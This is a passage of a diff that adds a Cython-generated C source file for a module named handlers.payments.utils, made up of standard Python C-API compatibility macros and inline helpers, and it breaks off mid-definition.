+#ifndef Py_TPFLAGS_HAVE_FINALIZE + #define Py_TPFLAGS_HAVE_FINALIZE 0 +#endif +#ifndef Py_TPFLAGS_SEQUENCE + #define Py_TPFLAGS_SEQUENCE 0 +#endif +#ifndef Py_TPFLAGS_MAPPING + #define Py_TPFLAGS_MAPPING 0 +#endif +#ifndef METH_STACKLESS + #define METH_STACKLESS 0 +#endif +#if PY_VERSION_HEX <= 0x030700A3 || !defined(METH_FASTCALL) + #ifndef METH_FASTCALL + #define METH_FASTCALL 0x80 + #endif + typedef PyObject *(*__Pyx_PyCFunctionFast) (PyObject *self, PyObject *const *args, Py_ssize_t nargs); + typedef PyObject *(*__Pyx_PyCFunctionFastWithKeywords) (PyObject *self, PyObject *const *args, + Py_ssize_t nargs, PyObject *kwnames); +#else + #if PY_VERSION_HEX >= 0x030d00A4 + # define __Pyx_PyCFunctionFast PyCFunctionFast + # define __Pyx_PyCFunctionFastWithKeywords PyCFunctionFastWithKeywords + #else + # define __Pyx_PyCFunctionFast _PyCFunctionFast + # define __Pyx_PyCFunctionFastWithKeywords _PyCFunctionFastWithKeywords + #endif +#endif +#if CYTHON_METH_FASTCALL + #define __Pyx_METH_FASTCALL METH_FASTCALL + #define __Pyx_PyCFunction_FastCall __Pyx_PyCFunctionFast + #define __Pyx_PyCFunction_FastCallWithKeywords __Pyx_PyCFunctionFastWithKeywords +#else + #define __Pyx_METH_FASTCALL METH_VARARGS + #define __Pyx_PyCFunction_FastCall PyCFunction + #define __Pyx_PyCFunction_FastCallWithKeywords PyCFunctionWithKeywords +#endif +#if CYTHON_VECTORCALL + #define __pyx_vectorcallfunc vectorcallfunc + #define __Pyx_PY_VECTORCALL_ARGUMENTS_OFFSET PY_VECTORCALL_ARGUMENTS_OFFSET + #define __Pyx_PyVectorcall_NARGS(n) PyVectorcall_NARGS((size_t)(n)) +#elif CYTHON_BACKPORT_VECTORCALL + typedef PyObject *(*__pyx_vectorcallfunc)(PyObject *callable, PyObject *const *args, + size_t nargsf, PyObject *kwnames); + #define __Pyx_PY_VECTORCALL_ARGUMENTS_OFFSET ((size_t)1 << (8 * sizeof(size_t) - 1)) + #define __Pyx_PyVectorcall_NARGS(n) ((Py_ssize_t)(((size_t)(n)) & ~__Pyx_PY_VECTORCALL_ARGUMENTS_OFFSET)) +#else + #define __Pyx_PY_VECTORCALL_ARGUMENTS_OFFSET 0 + #define __Pyx_PyVectorcall_NARGS(n) ((Py_ssize_t)(n)) +#endif +#if PY_MAJOR_VERSION >= 0x030900B1 +#define __Pyx_PyCFunction_CheckExact(func) PyCFunction_CheckExact(func) +#else +#define __Pyx_PyCFunction_CheckExact(func) PyCFunction_Check(func) +#endif +#define __Pyx_CyOrPyCFunction_Check(func) PyCFunction_Check(func) +#if CYTHON_COMPILING_IN_CPYTHON +#define __Pyx_CyOrPyCFunction_GET_FUNCTION(func) (((PyCFunctionObject*)(func))->m_ml->ml_meth) +#elif !CYTHON_COMPILING_IN_LIMITED_API +#define __Pyx_CyOrPyCFunction_GET_FUNCTION(func) PyCFunction_GET_FUNCTION(func) +#endif +#if CYTHON_COMPILING_IN_CPYTHON +#define __Pyx_CyOrPyCFunction_GET_FLAGS(func) (((PyCFunctionObject*)(func))->m_ml->ml_flags) +static CYTHON_INLINE PyObject* __Pyx_CyOrPyCFunction_GET_SELF(PyObject *func) { + return (__Pyx_CyOrPyCFunction_GET_FLAGS(func) & METH_STATIC) ? NULL : ((PyCFunctionObject*)func)->m_self; +} +#endif +static CYTHON_INLINE int __Pyx__IsSameCFunction(PyObject *func, void *cfunc) { +#if CYTHON_COMPILING_IN_LIMITED_API + return PyCFunction_Check(func) && PyCFunction_GetFunction(func) == (PyCFunction) cfunc; +#else + return PyCFunction_Check(func) && PyCFunction_GET_FUNCTION(func) == (PyCFunction) cfunc; +#endif +} +#define __Pyx_IsSameCFunction(func, cfunc) __Pyx__IsSameCFunction(func, cfunc) +#if __PYX_LIMITED_VERSION_HEX < 0x030900B1 + #define __Pyx_PyType_FromModuleAndSpec(m, s, b) ((void)m, PyType_FromSpecWithBases(s, b)) + typedef PyObject *(*__Pyx_PyCMethod)(PyObject *, PyTypeObject *, PyObject *const *, size_t, PyObject *); +#else + #define __Pyx_PyType_FromModuleAndSpec(m, s, b) PyType_FromModuleAndSpec(m, s, b) + #define __Pyx_PyCMethod PyCMethod +#endif +#ifndef METH_METHOD + #define METH_METHOD 0x200 +#endif +#if CYTHON_COMPILING_IN_PYPY && !defined(PyObject_Malloc) + #define PyObject_Malloc(s) PyMem_Malloc(s) + #define PyObject_Free(p) PyMem_Free(p) + #define PyObject_Realloc(p) PyMem_Realloc(p) +#endif +#if CYTHON_COMPILING_IN_LIMITED_API + #define __Pyx_PyCode_HasFreeVars(co) (PyCode_GetNumFree(co) > 0) + #define __Pyx_PyFrame_SetLineNumber(frame, lineno) +#else + #define __Pyx_PyCode_HasFreeVars(co) (PyCode_GetNumFree(co) > 0) + #define __Pyx_PyFrame_SetLineNumber(frame, lineno) (frame)->f_lineno = (lineno) +#endif +#if CYTHON_COMPILING_IN_LIMITED_API + #define __Pyx_PyThreadState_Current PyThreadState_Get() +#elif !CYTHON_FAST_THREAD_STATE + #define __Pyx_PyThreadState_Current PyThreadState_GET() +#elif PY_VERSION_HEX >= 0x030d00A1 + #define __Pyx_PyThreadState_Current PyThreadState_GetUnchecked() +#elif PY_VERSION_HEX >= 0x03060000 + #define __Pyx_PyThreadState_Current _PyThreadState_UncheckedGet() +#elif PY_VERSION_HEX >= 0x03000000 + #define __Pyx_PyThreadState_Current PyThreadState_GET() +#else + #define __Pyx_PyThreadState_Current _PyThreadState_Current +#endif +#if CYTHON_COMPILING_IN_LIMITED_API +static CYTHON_INLINE void *__Pyx_PyModule_GetState(PyObject *op) +{ + void *result; + result = PyModule_GetState(op); + if (!result) + Py_FatalError("Couldn't find the module state"); + return result; +} +#endif +#define __Pyx_PyObject_GetSlot(obj, name, func_ctype) __Pyx_PyType_GetSlot(Py_TYPE(obj), name, func_ctype) +#if CYTHON_COMPILING_IN_LIMITED_API + #define __Pyx_PyType_GetSlot(type, name, func_ctype) ((func_ctype) PyType_GetSlot((type), Py_##name)) +#else + #define __Pyx_PyType_GetSlot(type, name, func_ctype) ((type)->name) +#endif +#if PY_VERSION_HEX < 0x030700A2 && !defined(PyThread_tss_create) && !defined(Py_tss_NEEDS_INIT) +#include "pythread.h" +#define Py_tss_NEEDS_INIT 0 +typedef int Py_tss_t; +static CYTHON_INLINE int PyThread_tss_create(Py_tss_t *key) { + *key = PyThread_create_key(); + return 0; +} +static CYTHON_INLINE Py_tss_t * PyThread_tss_alloc(void) { + Py_tss_t *key = (Py_tss_t *)PyObject_Malloc(sizeof(Py_tss_t)); + *key = Py_tss_NEEDS_INIT; + return key; +} +static CYTHON_INLINE void PyThread_tss_free(Py_tss_t *key) { + PyObject_Free(key); +} +static CYTHON_INLINE int PyThread_tss_is_created(Py_tss_t *key) { + return *key != Py_tss_NEEDS_INIT; +} +static CYTHON_INLINE void PyThread_tss_delete(Py_tss_t *key) { + PyThread_delete_key(*key); + *key = Py_tss_NEEDS_INIT; +} +static CYTHON_INLINE int PyThread_tss_set(Py_tss_t *key, void *value) { + return PyThread_set_key_value(*key, value); +} +static CYTHON_INLINE void * PyThread_tss_get(Py_tss_t *key) { + return PyThread_get_key_value(*key); +} +#endif +#if PY_MAJOR_VERSION < 3 + #if CYTHON_COMPILING_IN_PYPY + #if PYPY_VERSION_NUM < 0x07030600 + #if defined(__cplusplus) && __cplusplus >= 201402L + [[deprecated("`with nogil:` inside a nogil function will not release the GIL in PyPy2 < 7.3.6")]] + #elif defined(__GNUC__) || defined(__clang__) + __attribute__ ((__deprecated__("`with nogil:` inside a nogil function will not release the GIL in PyPy2 < 7.3.6"))) + #elif defined(_MSC_VER) + __declspec(deprecated("`with nogil:` inside a nogil function will not release the GIL in PyPy2 < 7.3.6")) + #endif + static CYTHON_INLINE int PyGILState_Check(void) { + return 0; + } + #else // PYPY_VERSION_NUM < 0x07030600 + #endif // PYPY_VERSION_NUM < 0x07030600 + #else + static CYTHON_INLINE int PyGILState_Check(void) { + PyThreadState * tstate = _PyThreadState_Current; + return tstate && (tstate == PyGILState_GetThisThreadState()); + } + #endif +#endif +#if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX < 0x030d0000 || defined(_PyDict_NewPresized) +#define __Pyx_PyDict_NewPresized(n) ((n <= 8) ? PyDict_New() : _PyDict_NewPresized(n)) +#else +#define __Pyx_PyDict_NewPresized(n) PyDict_New() +#endif +#if PY_MAJOR_VERSION >= 3 || CYTHON_FUTURE_DIVISION + #define __Pyx_PyNumber_Divide(x,y) PyNumber_TrueDivide(x,y) + #define __Pyx_PyNumber_InPlaceDivide(x,y) PyNumber_InPlaceTrueDivide(x,y) +#else + #define __Pyx_PyNumber_Divide(x,y) PyNumber_Divide(x,y) + #define __Pyx_PyNumber_InPlaceDivide(x,y) PyNumber_InPlaceDivide(x,y) +#endif +#if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX > 0x030600B4 && PY_VERSION_HEX < 0x030d0000 && CYTHON_USE_UNICODE_INTERNALS +#define __Pyx_PyDict_GetItemStrWithError(dict, name) _PyDict_GetItem_KnownHash(dict, name, ((PyASCIIObject *) name)->hash) +static CYTHON_INLINE PyObject * __Pyx_PyDict_GetItemStr(PyObject *dict, PyObject *name) { + PyObject *res = __Pyx_PyDict_GetItemStrWithError(dict, name); + if (res == NULL) PyErr_Clear(); + return res; +} +#elif PY_MAJOR_VERSION >= 3 && (!CYTHON_COMPILING_IN_PYPY || PYPY_VERSION_NUM >= 0x07020000) +#define __Pyx_PyDict_GetItemStrWithError PyDict_GetItemWithError +#define __Pyx_PyDict_GetItemStr PyDict_GetItem +#else +static CYTHON_INLINE PyObject * __Pyx_PyDict_GetItemStrWithError(PyObject *dict, PyObject *name) { +#if CYTHON_COMPILING_IN_PYPY + return PyDict_GetItem(dict, name); +#else + PyDictEntry *ep; + PyDictObject *mp = (PyDictObject*) dict; + long hash = ((PyStringObject *) name)->ob_shash; + assert(hash != -1); + ep = (mp->ma_lookup)(mp, name, hash); + if (ep == NULL) { + return NULL; + } + return ep->me_value; +#endif +} +#define __Pyx_PyDict_GetItemStr PyDict_GetItem +#endif +#if CYTHON_USE_TYPE_SLOTS + #define __Pyx_PyType_GetFlags(tp) (((PyTypeObject *)tp)->tp_flags) + #define __Pyx_PyType_HasFeature(type, feature) ((__Pyx_PyType_GetFlags(type) & (feature)) != 0) + #define __Pyx_PyObject_GetIterNextFunc(obj) (Py_TYPE(obj)->tp_iternext) +#else + #define __Pyx_PyType_GetFlags(tp) (PyType_GetFlags((PyTypeObject *)tp)) + #define __Pyx_PyType_HasFeature(type, feature) PyType_HasFeature(type, feature) + #define __Pyx_PyObject_GetIterNextFunc(obj) PyIter_Next +#endif +#if CYTHON_COMPILING_IN_LIMITED_API + #define __Pyx_SetItemOnTypeDict(tp, k, v) PyObject_GenericSetAttr((PyObject*)tp, k, v) +#else + #define __Pyx_SetItemOnTypeDict(tp, k, v) PyDict_SetItem(tp->tp_dict, k, v) +#endif +#if CYTHON_USE_TYPE_SPECS && PY_VERSION_HEX >= 0x03080000 +#define __Pyx_PyHeapTypeObject_GC_Del(obj) {\ + PyTypeObject *type = Py_TYPE((PyObject*)obj);\ + assert(__Pyx_PyType_HasFeature(type, Py_TPFLAGS_HEAPTYPE));\ + PyObject_GC_Del(obj);\ + Py_DECREF(type);\ +} +#else +#define __Pyx_PyHeapTypeObject_GC_Del(obj) PyObject_GC_Del(obj) +#endif +#if CYTHON_COMPILING_IN_LIMITED_API + #define CYTHON_PEP393_ENABLED 1 + #define __Pyx_PyUnicode_READY(op) (0) + #define __Pyx_PyUnicode_GET_LENGTH(u) PyUnicode_GetLength(u) + #define __Pyx_PyUnicode_READ_CHAR(u, i) PyUnicode_ReadChar(u, i) + #define __Pyx_PyUnicode_MAX_CHAR_VALUE(u) ((void)u, 1114111U) + #define __Pyx_PyUnicode_KIND(u) ((void)u, (0)) + #define __Pyx_PyUnicode_DATA(u) ((void*)u) + #define __Pyx_PyUnicode_READ(k, d, i) ((void)k, PyUnicode_ReadChar((PyObject*)(d), i)) + #define __Pyx_PyUnicode_IS_TRUE(u) (0 != PyUnicode_GetLength(u)) +#elif PY_VERSION_HEX > 0x03030000 && defined(PyUnicode_KIND) + #define CYTHON_PEP393_ENABLED 1 + #if PY_VERSION_HEX >= 0x030C0000 + #define __Pyx_PyUnicode_READY(op) (0) + #else + #define __Pyx_PyUnicode_READY(op) (likely(PyUnicode_IS_READY(op)) ?\ + 0 : _PyUnicode_Ready((PyObject *)(op))) + #endif + #define __Pyx_PyUnicode_GET_LENGTH(u) PyUnicode_GET_LENGTH(u) + #define __Pyx_PyUnicode_READ_CHAR(u, i) PyUnicode_READ_CHAR(u, i) + #define __Pyx_PyUnicode_MAX_CHAR_VALUE(u) PyUnicode_MAX_CHAR_VALUE(u) + #define __Pyx_PyUnicode_KIND(u) ((int)PyUnicode_KIND(u)) + #define __Pyx_PyUnicode_DATA(u) PyUnicode_DATA(u) + #define __Pyx_PyUnicode_READ(k, d, i) PyUnicode_READ(k, d, i) + #define __Pyx_PyUnicode_WRITE(k, d, i, ch) PyUnicode_WRITE(k, d, i, (Py_UCS4) ch) + #if PY_VERSION_HEX >= 0x030C0000 + #define __Pyx_PyUnicode_IS_TRUE(u) (0 != PyUnicode_GET_LENGTH(u)) + #else + #if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX >= 0x03090000 + #define __Pyx_PyUnicode_IS_TRUE(u) (0 != (likely(PyUnicode_IS_READY(u)) ? PyUnicode_GET_LENGTH(u) : ((PyCompactUnicodeObject *)(u))->wstr_length)) + #else + #define __Pyx_PyUnicode_IS_TRUE(u) (0 != (likely(PyUnicode_IS_READY(u)) ? PyUnicode_GET_LENGTH(u) : PyUnicode_GET_SIZE(u))) + #endif + #endif +#else + #define CYTHON_PEP393_ENABLED 0 + #define PyUnicode_1BYTE_KIND 1 + #define PyUnicode_2BYTE_KIND 2 + #define PyUnicode_4BYTE_KIND 4 + #define __Pyx_PyUnicode_READY(op) (0) + #define __Pyx_PyUnicode_GET_LENGTH(u) PyUnicode_GET_SIZE(u) + #define __Pyx_PyUnicode_READ_CHAR(u, i) ((Py_UCS4)(PyUnicode_AS_UNICODE(u)[i])) + #define __Pyx_PyUnicode_MAX_CHAR_VALUE(u) ((sizeof(Py_UNICODE) == 2) ? 65535U : 1114111U) + #define __Pyx_PyUnicode_KIND(u) ((int)sizeof(Py_UNICODE)) + #define __Pyx_PyUnicode_DATA(u) ((void*)PyUnicode_AS_UNICODE(u)) + #define __Pyx_PyUnicode_READ(k, d, i) ((void)(k), (Py_UCS4)(((Py_UNICODE*)d)[i])) + #define __Pyx_PyUnicode_WRITE(k, d, i, ch) (((void)(k)), ((Py_UNICODE*)d)[i] = (Py_UNICODE) ch) + #define __Pyx_PyUnicode_IS_TRUE(u) (0 != PyUnicode_GET_SIZE(u)) +#endif +#if CYTHON_COMPILING_IN_PYPY + #define __Pyx_PyUnicode_Concat(a, b) PyNumber_Add(a, b) + #define __Pyx_PyUnicode_ConcatSafe(a, b) PyNumber_Add(a, b) +#else + #define __Pyx_PyUnicode_Concat(a, b) PyUnicode_Concat(a, b) + #define __Pyx_PyUnicode_ConcatSafe(a, b) ((unlikely((a) == Py_None) || unlikely((b) == Py_None)) ?\ + PyNumber_Add(a, b) : __Pyx_PyUnicode_Concat(a, b)) +#endif +#if CYTHON_COMPILING_IN_PYPY + #if !defined(PyUnicode_DecodeUnicodeEscape) + #define PyUnicode_DecodeUnicodeEscape(s, size, errors) PyUnicode_Decode(s, size, "unicode_escape", errors) + #endif + #if !defined(PyUnicode_Contains) || (PY_MAJOR_VERSION == 2 && PYPY_VERSION_NUM < 0x07030500) + #undef PyUnicode_Contains + #define PyUnicode_Contains(u, s) PySequence_Contains(u, s) + #endif + #if !defined(PyByteArray_Check) + #define PyByteArray_Check(obj) PyObject_TypeCheck(obj, &PyByteArray_Type) + #endif + #if !defined(PyObject_Format) + #define PyObject_Format(obj, fmt) PyObject_CallMethod(obj, "__format__", "O", fmt) + #endif +#endif +#define __Pyx_PyString_FormatSafe(a, b) ((unlikely((a) == Py_None || (PyString_Check(b) && !PyString_CheckExact(b)))) ? PyNumber_Remainder(a, b) : __Pyx_PyString_Format(a, b)) +#define __Pyx_PyUnicode_FormatSafe(a, b) ((unlikely((a) == Py_None || (PyUnicode_Check(b) && !PyUnicode_CheckExact(b)))) ? PyNumber_Remainder(a, b) : PyUnicode_Format(a, b)) +#if PY_MAJOR_VERSION >= 3 + #define __Pyx_PyString_Format(a, b) PyUnicode_Format(a, b) +#else + #define __Pyx_PyString_Format(a, b) PyString_Format(a, b) +#endif +#if PY_MAJOR_VERSION < 3 && !defined(PyObject_ASCII) + #define PyObject_ASCII(o) PyObject_Repr(o) +#endif +#if PY_MAJOR_VERSION >= 3 + #define PyBaseString_Type PyUnicode_Type + #define PyStringObject PyUnicodeObject + #define PyString_Type PyUnicode_Type + #define PyString_Check PyUnicode_Check + #define PyString_CheckExact PyUnicode_CheckExact +#ifndef PyObject_Unicode + #define PyObject_Unicode PyObject_Str +#endif +#endif +#if PY_MAJOR_VERSION >= 3 + #define __Pyx_PyBaseString_Check(obj) PyUnicode_Check(obj) + #define __Pyx_PyBaseString_CheckExact(obj) PyUnicode_CheckExact(obj) +#else + #define __Pyx_PyBaseString_Check(obj) (PyString_Check(obj) || PyUnicode_Check(obj)) + #define __Pyx_PyBaseString_CheckExact(obj) (PyString_CheckExact(obj) || PyUnicode_CheckExact(obj)) +#endif +#if CYTHON_COMPILING_IN_CPYTHON + #define __Pyx_PySequence_ListKeepNew(obj)\ + (likely(PyList_CheckExact(obj) && Py_REFCNT(obj) == 1) ? __Pyx_NewRef(obj) : PySequence_List(obj)) +#else + #define __Pyx_PySequence_ListKeepNew(obj) PySequence_List(obj) +#endif +#ifndef PySet_CheckExact + #define PySet_CheckExact(obj) __Pyx_IS_TYPE(obj, &PySet_Type) +#endif +#if PY_VERSION_HEX >= 0x030900A4 + #define __Pyx_SET_REFCNT(obj, refcnt) Py_SET_REFCNT(obj, refcnt) + #define __Pyx_SET_SIZE(obj, size) Py_SET_SIZE(obj, size) +#else + #define __Pyx_SET_REFCNT(obj, refcnt) Py_REFCNT(obj) = (refcnt) + #define __Pyx_SET_SIZE(obj, size) Py_SIZE(obj) = (size) +#endif +#if CYTHON_ASSUME_SAFE_MACROS + #define __Pyx_PySequence_ITEM(o, i) PySequence_ITEM(o, i) + #define __Pyx_PySequence_SIZE(seq) Py_SIZE(seq) + #define __Pyx_PyTuple_SET_ITEM(o, i, v) (PyTuple_SET_ITEM(o, i, v), (0)) + #define __Pyx_PyList_SET_ITEM(o, i, v) (PyList_SET_ITEM(o, i, v), (0)) + #define __Pyx_PyTuple_GET_SIZE(o) PyTuple_GET_SIZE(o) + #define __Pyx_PyList_GET_SIZE(o) PyList_GET_SIZE(o) + #define __Pyx_PySet_GET_SIZE(o) PySet_GET_SIZE(o) + #define __Pyx_PyBytes_GET_SIZE(o) PyBytes_GET_SIZE(o) + #define __Pyx_PyByteArray_GET_SIZE(o) PyByteArray_GET_SIZE(o) +#else + #define __Pyx_PySequence_ITEM(o, i) PySequence_GetItem(o, i) + #define __Pyx_PySequence_SIZE(seq) PySequence_Size(seq) + #define __Pyx_PyTuple_SET_ITEM(o, i, v) PyTuple_SetItem(o, i, v) + #define __Pyx_PyList_SET_ITEM(o, i, v) PyList_SetItem(o, i, v) + #define __Pyx_PyTuple_GET_SIZE(o) PyTuple_Size(o) + #define __Pyx_PyList_GET_SIZE(o) PyList_Size(o) + #define __Pyx_PySet_GET_SIZE(o) PySet_Size(o) + #define __Pyx_PyBytes_GET_SIZE(o) PyBytes_Size(o) + #define __Pyx_PyByteArray_GET_SIZE(o) PyByteArray_Size(o) +#endif +#if __PYX_LIMITED_VERSION_HEX >= 0x030d00A1 + #define __Pyx_PyImport_AddModuleRef(name) PyImport_AddModuleRef(name) +#else + static CYTHON_INLINE PyObject *__Pyx_PyImport_AddModuleRef(const char *name) { + PyObject *module = PyImport_AddModule(name); + Py_XINCREF(module); + return module; + } +#endif +#if PY_MAJOR_VERSION >= 3 + #define PyIntObject PyLongObject + #define PyInt_Type PyLong_Type + #define PyInt_Check(op) PyLong_Check(op) + #define PyInt_CheckExact(op) PyLong_CheckExact(op) + #define __Pyx_Py3Int_Check(op) PyLong_Check(op) + #define __Pyx_Py3Int_CheckExact(op) PyLong_CheckExact(op) + #define PyInt_FromString PyLong_FromString + #define PyInt_FromUnicode PyLong_FromUnicode + #define PyInt_FromLong PyLong_FromLong + #define PyInt_FromSize_t PyLong_FromSize_t + #define PyInt_FromSsize_t PyLong_FromSsize_t + #define PyInt_AsLong PyLong_AsLong + #define PyInt_AS_LONG PyLong_AS_LONG + #define PyInt_AsSsize_t PyLong_AsSsize_t + #define PyInt_AsUnsignedLongMask PyLong_AsUnsignedLongMask + #define PyInt_AsUnsignedLongLongMask PyLong_AsUnsignedLongLongMask + #define PyNumber_Int PyNumber_Long +#else + #define __Pyx_Py3Int_Check(op) (PyLong_Check(op) || PyInt_Check(op)) + #define __Pyx_Py3Int_CheckExact(op) (PyLong_CheckExact(op) || PyInt_CheckExact(op)) +#endif +#if PY_MAJOR_VERSION >= 3 + #define PyBoolObject PyLongObject +#endif +#if PY_MAJOR_VERSION >= 3 && CYTHON_COMPILING_IN_PYPY + #ifndef PyUnicode_InternFromString + #define PyUnicode_InternFromString(s) PyUnicode_FromString(s) + #endif +#endif +#if PY_VERSION_HEX < 0x030200A4 + typedef long Py_hash_t; + #define __Pyx_PyInt_FromHash_t PyInt_FromLong + #define __Pyx_PyInt_AsHash_t __Pyx_PyIndex_AsHash_t +#else + #define __Pyx_PyInt_FromHash_t PyInt_FromSsize_t + #define __Pyx_PyInt_AsHash_t __Pyx_PyIndex_AsSsize_t +#endif +#if CYTHON_USE_ASYNC_SLOTS + #if PY_VERSION_HEX >= 0x030500B1 + #define __Pyx_PyAsyncMethodsStruct PyAsyncMethods + #define __Pyx_PyType_AsAsync(obj) (Py_TYPE(obj)->tp_as_async) + #else + #define __Pyx_PyType_AsAsync(obj) ((__Pyx_PyAsyncMethodsStruct*) (Py_TYPE(obj)->tp_reserved)) + #endif +#else + #define __Pyx_PyType_AsAsync(obj) NULL +#endif +#ifndef __Pyx_PyAsyncMethodsStruct + typedef struct { + unaryfunc am_await; + unaryfunc am_aiter; + unaryfunc am_anext; + } __Pyx_PyAsyncMethodsStruct; +#endif + +#if defined(_WIN32) || defined(WIN32) || defined(MS_WINDOWS) + #if !defined(_USE_MATH_DEFINES) + #define _USE_MATH_DEFINES + #endif +#endif +#include +#ifdef NAN +#define __PYX_NAN() ((float) NAN) +#else +static CYTHON_INLINE float __PYX_NAN() { + float value; + memset(&value, 0xFF, sizeof(value)); + return value; +} +#endif +#if defined(__CYGWIN__) && defined(_LDBL_EQ_DBL) +#define __Pyx_truncl trunc +#else +#define __Pyx_truncl truncl +#endif + +#define __PYX_MARK_ERR_POS(f_index, lineno) \ + { __pyx_filename = __pyx_f[f_index]; (void)__pyx_filename; __pyx_lineno = lineno; (void)__pyx_lineno; __pyx_clineno = __LINE__; (void)__pyx_clineno; } +#define __PYX_ERR(f_index, lineno, Ln_error) \ + { __PYX_MARK_ERR_POS(f_index, lineno) goto Ln_error; } + +#ifdef CYTHON_EXTERN_C + #undef __PYX_EXTERN_C + #define __PYX_EXTERN_C CYTHON_EXTERN_C +#elif defined(__PYX_EXTERN_C) + #ifdef _MSC_VER + #pragma message ("Please do not define the '__PYX_EXTERN_C' macro externally. Use 'CYTHON_EXTERN_C' instead.") + #else + #warning Please do not define the '__PYX_EXTERN_C' macro externally. Use 'CYTHON_EXTERN_C' instead. + #endif +#else + #ifdef __cplusplus + #define __PYX_EXTERN_C extern "C" + #else + #define __PYX_EXTERN_C extern + #endif +#endif + +#define __PYX_HAVE__handlers__payments__utils +#define __PYX_HAVE_API__handlers__payments__utils +/* Early includes */ +#ifdef _OPENMP +#include +#endif /* _OPENMP */ + +#if defined(PYREX_WITHOUT_ASSERTIONS) && !defined(CYTHON_WITHOUT_ASSERTIONS) +#define CYTHON_WITHOUT_ASSERTIONS +#endif + +typedef struct {PyObject **p; const char *s; const Py_ssize_t n; const char* encoding; + const char is_unicode; const char is_str; const char intern; } __Pyx_StringTabEntry; + +#define __PYX_DEFAULT_STRING_ENCODING_IS_ASCII 0 +#define __PYX_DEFAULT_STRING_ENCODING_IS_UTF8 0 +#define __PYX_DEFAULT_STRING_ENCODING_IS_DEFAULT (PY_MAJOR_VERSION >= 3 && __PYX_DEFAULT_STRING_ENCODING_IS_UTF8) +#define __PYX_DEFAULT_STRING_ENCODING "" +#define __Pyx_PyObject_FromString __Pyx_PyBytes_FromString +#define __Pyx_PyObject_FromStringAndSize __Pyx_PyBytes_FromStringAndSize +#define __Pyx_uchar_cast(c) ((unsigned char)c) +#define __Pyx_long_cast(x) ((long)x) +#define __Pyx_fits_Py_ssize_t(v, type, is_signed) (\ + (sizeof(type) < sizeof(Py_ssize_t)) ||\ + (sizeof(type) > sizeof(Py_ssize_t) &&\ + likely(v < (type)PY_SSIZE_T_MAX ||\ + v == (type)PY_SSIZE_T_MAX) &&\ + (!is_signed || likely(v > (type)PY_SSIZE_T_MIN ||\ + v == (type)PY_SSIZE_T_MIN))) ||\ + (sizeof(type) == sizeof(Py_ssize_t) &&\ + (is_signed || likely(v < (type)PY_SSIZE_T_MAX ||\ + v == (type)PY_SSIZE_T_MAX))) ) +static CYTHON_INLINE int __Pyx_is_valid_index(Py_ssize_t i, Py_ssize_t limit) { + return (size_t) i < (size_t) limit; +} +#if defined (__cplusplus) && __cplusplus >= 201103L + #include + #define __Pyx_sst_abs(value) std::abs(value) +#elif SIZEOF_INT >= SIZEOF_SIZE_T + #define __Pyx_sst_abs(value) abs(value) +#elif SIZEOF_LONG >= SIZEOF_SIZE_T + #define __Pyx_sst_abs(value) labs(value) +#elif defined (_MSC_VER) + #define __Pyx_sst_abs(value) ((Py_ssize_t)_abs64(value)) +#elif defined (__STDC_VERSION__) && __STDC_VERSION__ >= 199901L + #define __Pyx_sst_abs(value) llabs(value) +#elif defined (__GNUC__) + #define __Pyx_sst_abs(value) __builtin_llabs(value) +#else + #define __Pyx_sst_abs(value) ((value<0) ? -value : value) +#endif +static CYTHON_INLINE Py_ssize_t __Pyx_ssize_strlen(const char *s); +static CYTHON_INLINE const char* __Pyx_PyObject_AsString(PyObject*); +static CYTHON_INLINE const char* __Pyx_PyObject_AsStringAndSize(PyObject*, Py_ssize_t* length); +static CYTHON_INLINE PyObject* __Pyx_PyByteArray_FromString(const char*); +#define __Pyx_PyByteArray_FromStringAndSize(s, l) PyByteArray_FromStringAndSize((const char*)s, l) +#define __Pyx_PyBytes_FromString PyBytes_FromString +#define __Pyx_PyBytes_FromStringAndSize PyBytes_FromStringAndSize +static CYTHON_INLINE PyObject* __Pyx_PyUnicode_FromString(const char*); +#if PY_MAJOR_VERSION < 3 + #define __Pyx_PyStr_FromString __Pyx_PyBytes_FromString + #define __Pyx_PyStr_FromStringAndSize __Pyx_PyBytes_FromStringAndSize +#else + #define __Pyx_PyStr_FromString __Pyx_PyUnicode_FromString + #define __Pyx_PyStr_FromStringAndSize __Pyx_PyUnicode_FromStringAndSize +#endif +#define __Pyx_PyBytes_AsWritableString(s) ((char*) PyBytes_AS_STRING(s)) +#define __Pyx_PyBytes_AsWritableSString(s) ((signed char*) PyBytes_AS_STRING(s)) +#define __Pyx_PyBytes_AsWritableUString(s) ((unsigned char*) PyBytes_AS_STRING(s)) +#define __Pyx_PyBytes_AsString(s) ((const char*) PyBytes_AS_STRING(s)) +#define __Pyx_PyBytes_AsSString(s) ((const signed char*) PyBytes_AS_STRING(s)) +#define __Pyx_PyBytes_AsUString(s) ((const unsigned char*) PyBytes_AS_STRING(s)) +#define __Pyx_PyObject_AsWritableString(s) ((char*)(__pyx_uintptr_t) __Pyx_PyObject_AsString(s)) +#define __Pyx_PyObject_AsWritableSString(s) ((signed char*)(__pyx_uintptr_t) __Pyx_PyObject_AsString(s)) +#define __Pyx_PyObject_AsWritableUString(s) ((unsigned char*)(__pyx_uintptr_t) __Pyx_PyObject_AsString(s)) +#define __Pyx_PyObject_AsSString(s) ((const signed char*) __Pyx_PyObject_AsString(s)) +#define __Pyx_PyObject_AsUString(s) ((const unsigned char*) __Pyx_PyObject_AsString(s)) +#define __Pyx_PyObject_FromCString(s) __Pyx_PyObject_FromString((const char*)s) +#define __Pyx_PyBytes_FromCString(s) __Pyx_PyBytes_FromString((const char*)s) +#define __Pyx_PyByteArray_FromCString(s) __Pyx_PyByteArray_FromString((const char*)s) +#define __Pyx_PyStr_FromCString(s) __Pyx_PyStr_FromString((const char*)s) +#define __Pyx_PyUnicode_FromCString(s) __Pyx_PyUnicode_FromString((const char*)s) +#define __Pyx_PyUnicode_FromOrdinal(o) PyUnicode_FromOrdinal((int)o) +#define __Pyx_PyUnicode_AsUnicode PyUnicode_AsUnicode +#define __Pyx_NewRef(obj) (Py_INCREF(obj), obj) +#define __Pyx_Owned_Py_None(b) __Pyx_NewRef(Py_None) +static CYTHON_INLINE PyObject * __Pyx_PyBool_FromLong(long b); +static CYTHON_INLINE int __Pyx_PyObject_IsTrue(PyObject*); +static CYTHON_INLINE int __Pyx_PyObject_IsTrueAndDecref(PyObject*); +static CYTHON_INLINE PyObject* __Pyx_PyNumber_IntOrLong(PyObject* x); +#define __Pyx_PySequence_Tuple(obj)\ + 